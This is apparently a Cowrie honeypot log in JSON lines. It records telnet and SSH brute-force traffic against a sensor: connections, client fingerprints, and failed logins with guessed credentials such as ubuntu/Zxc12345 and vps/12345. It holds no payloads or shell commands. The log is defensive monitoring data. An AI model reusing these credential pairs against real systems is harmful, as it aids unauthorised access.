{"eventid":"cowrie.session.connect","src_ip":"34.62.208.180","src_port":44694,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0857a0a18cf","protocol":"telnet","message":"New connection: 34.62.208.180:44694 (159.203.135.109:23) [session: e0857a0a18cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:26.580431Z"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:26.602900Z","src_ip":"165.154.227.158","session":"f46d0c853a36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ssluser","password":"123","message":"login attempt [ssluser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:26.644921Z","src_ip":"40.81.244.142","session":"e6f123a3420a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.208.180","src_port":44708,"dst_ip":"159.203.135.109","dst_port":23,"session":"507202edce4b","protocol":"telnet","message":"New connection: 34.62.208.180:44708 (159.203.135.109:23) [session: 507202edce4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:26.735272Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.208.180","src_port":44716,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9b990c859bd","protocol":"telnet","message":"New connection: 34.62.208.180:44716 (159.203.135.109:23) [session: f9b990c859bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:26.889396Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.208.180","src_port":44718,"dst_ip":"159.203.135.109","dst_port":23,"session":"148d562a485d","protocol":"telnet","message":"New connection: 34.62.208.180:44718 (159.203.135.109:23) [session: 148d562a485d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:27.045314Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.208.180","src_port":44726,"dst_ip":"159.203.135.109","dst_port":23,"session":"4774710a394f","protocol":"telnet","message":"New connection: 34.62.208.180:44726 (159.203.135.109:23) [session: 4774710a394f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:27.200678Z"}
{"eventid":"cowrie.session.closed","duration":0.005236148834228516,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:27.205769Z","src_ip":"34.62.208.180","session":"4774710a394f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.208.180","src_port":44738,"dst_ip":"159.203.135.109","dst_port":23,"session":"3545849168d5","protocol":"telnet","message":"New connection: 34.62.208.180:44738 (159.203.135.109:23) [session: 3545849168d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:27.355439Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.208.180","src_port":44752,"dst_ip":"159.203.135.109","dst_port":23,"session":"be8f02cb9af1","protocol":"telnet","message":"New connection: 34.62.208.180:44752 (159.203.135.109:23) [session: be8f02cb9af1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:27.509847Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 2473","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 2473] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:27.514555Z","src_ip":"34.62.208.180","session":"be8f02cb9af1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:27.849486Z","src_ip":"40.81.244.142","session":"e6f123a3420a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.173528909683228,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:38.649978Z","src_ip":"34.62.208.180","session":"f6549f698343","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.332581758499146,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:38.654106Z","src_ip":"34.62.208.180","session":"2a8425899da0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.80409860610962,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:38.658598Z","src_ip":"34.62.208.180","session":"1df5f9e874fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.495106935501099,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:38.661564Z","src_ip":"34.62.208.180","session":"d40d9cb460e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.654501914978027,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:38.664006Z","src_ip":"34.62.208.180","session":"677f545dbaa6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.968570947647095,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:38.666705Z","src_ip":"34.62.208.180","session":"fb7266bd02d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.127826452255249,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:38.670670Z","src_ip":"34.62.208.180","session":"521b2234e588","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.439954280853271,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:38.673233Z","src_ip":"34.62.208.180","session":"c94172cc0255","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.286736011505127,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:38.675379Z","src_ip":"34.62.208.180","session":"8070addd338f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.369259119033813,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:38.724608Z","src_ip":"34.62.208.180","session":"3545849168d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.21887493133545,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:38.728618Z","src_ip":"34.62.208.180","session":"be8f02cb9af1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.687771558761597,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:38.732960Z","src_ip":"34.62.208.180","session":"148d562a485d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.157124996185303,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:38.737275Z","src_ip":"34.62.208.180","session":"e0857a0a18cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.85197639465332,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:38.741262Z","src_ip":"34.62.208.180","session":"f9b990c859bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.011057138442993,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:38.746220Z","src_ip":"34.62.208.180","session":"507202edce4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.32242488861084,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:38.748989Z","src_ip":"34.62.208.180","session":"86e71cb877b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.48608922958374,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:38.751815Z","src_ip":"34.62.208.180","session":"f4655d38634c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.643832206726074,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:38.754554Z","src_ip":"34.62.208.180","session":"88421b3d99b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.80193829536438,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:38.757097Z","src_ip":"34.62.208.180","session":"744ad8cd3e38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.95982313156128,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:38.760235Z","src_ip":"34.62.208.180","session":"1e5b3dbce7e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.11653208732605,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:38.762303Z","src_ip":"34.62.208.180","session":"148997b66853","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.273404121398926,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:38.764846Z","src_ip":"34.62.208.180","session":"0258af426975","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.438570499420166,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:38.767542Z","src_ip":"34.62.208.180","session":"a1a2d770c86d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.596293687820435,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:38.770264Z","src_ip":"34.62.208.180","session":"ff5c27760e49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.75999903678894,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:38.778500Z","src_ip":"34.62.208.180","session":"389d00077775","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.076420545578003,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:38.782638Z","src_ip":"34.62.208.180","session":"6a90df402a77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00096988677979,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:39.053818Z","src_ip":"87.90.84.206","session":"0a1f3e895aa4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00411462783813,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:42.204459Z","src_ip":"87.90.84.206","session":"05ced60772a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00201559066772,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:45.376905Z","src_ip":"87.90.84.206","session":"e9e5addec863","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.90.84.206","src_port":30232,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0e426736043","protocol":"telnet","message":"New connection: 87.90.84.206:30232 (159.203.135.109:23) [session: d0e426736043]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:46.261683Z"}
{"eventid":"cowrie.session.closed","duration":0.0052297115325927734,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:46.266787Z","src_ip":"87.90.84.206","session":"d0e426736043","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00105834007263,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:46.421677Z","src_ip":"87.90.84.206","session":"fe95ba50f05c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.90.84.206","src_port":31420,"dst_ip":"159.203.135.109","dst_port":23,"session":"9db285feb9d4","protocol":"telnet","message":"New connection: 87.90.84.206:31420 (159.203.135.109:23) [session: 9db285feb9d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:46.860697Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.90.84.206","src_port":31220,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ff80c9bc1a3","protocol":"telnet","message":"New connection: 87.90.84.206:31220 (159.203.135.109:23) [session: 6ff80c9bc1a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:49.039569Z"}
{"eventid":"cowrie.session.closed","duration":0.8185415267944336,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:49.858001Z","src_ip":"87.90.84.206","session":"6ff80c9bc1a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"222.167.161.198","src_port":22284,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed61633b7e4a","protocol":"ssh","message":"New connection: 222.167.161.198:22284 (159.203.135.109:22) [session: ed61633b7e4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:14:16.032212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:14:16.037900Z","src_ip":"222.167.161.198","session":"ed61633b7e4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:14:16.315345Z","src_ip":"222.167.161.198","session":"ed61633b7e4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.69.56.44","src_port":59470,"dst_ip":"159.203.135.109","dst_port":22,"session":"7439e888c1ff","protocol":"ssh","message":"New connection: 58.69.56.44:59470 (159.203.135.109:22) [session: 7439e888c1ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:14:16.635589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:14:16.640661Z","src_ip":"58.69.56.44","session":"7439e888c1ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:14:16.881573Z","src_ip":"58.69.56.44","session":"7439e888c1ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"lol123","message":"login attempt [debian/lol123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:14:17.434313Z","src_ip":"222.167.161.198","session":"ed61633b7e4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vps","password":"12345","message":"login attempt [vps/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:14:17.871953Z","src_ip":"58.69.56.44","session":"7439e888c1ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:14:18.710989Z","src_ip":"222.167.161.198","session":"ed61633b7e4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:14:19.118443Z","src_ip":"58.69.56.44","session":"7439e888c1ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":56244,"dst_ip":"159.203.135.109","dst_port":22,"session":"7399041c6a56","protocol":"ssh","message":"New connection: 40.81.244.142:56244 (159.203.135.109:22) [session: 7399041c6a56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:14:22.513553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:14:22.518646Z","src_ip":"40.81.244.142","session":"7399041c6a56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:14:22.720253Z","src_ip":"40.81.244.142","session":"7399041c6a56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Zxc12345","message":"login attempt [ubuntu/Zxc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:14:23.552982Z","src_ip":"40.81.244.142","session":"7399041c6a56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:14:24.758514Z","src_ip":"40.81.244.142","session":"7399041c6a56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":32460,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8c107acf208","protocol":"ssh","message":"New connection: 194.59.206.2:32460 (10.17.0.5:22) [session: a8c107acf208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:14:32.819709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:14:32.865029Z","src_ip":"194.59.206.2","session":"a8c107acf208","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:14:32.923237Z","src_ip":"194.59.206.2","session":"a8c107acf208","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:14:33.074158Z","src_ip":"194.59.206.2","session":"a8c107acf208","protocol":"ssh"}
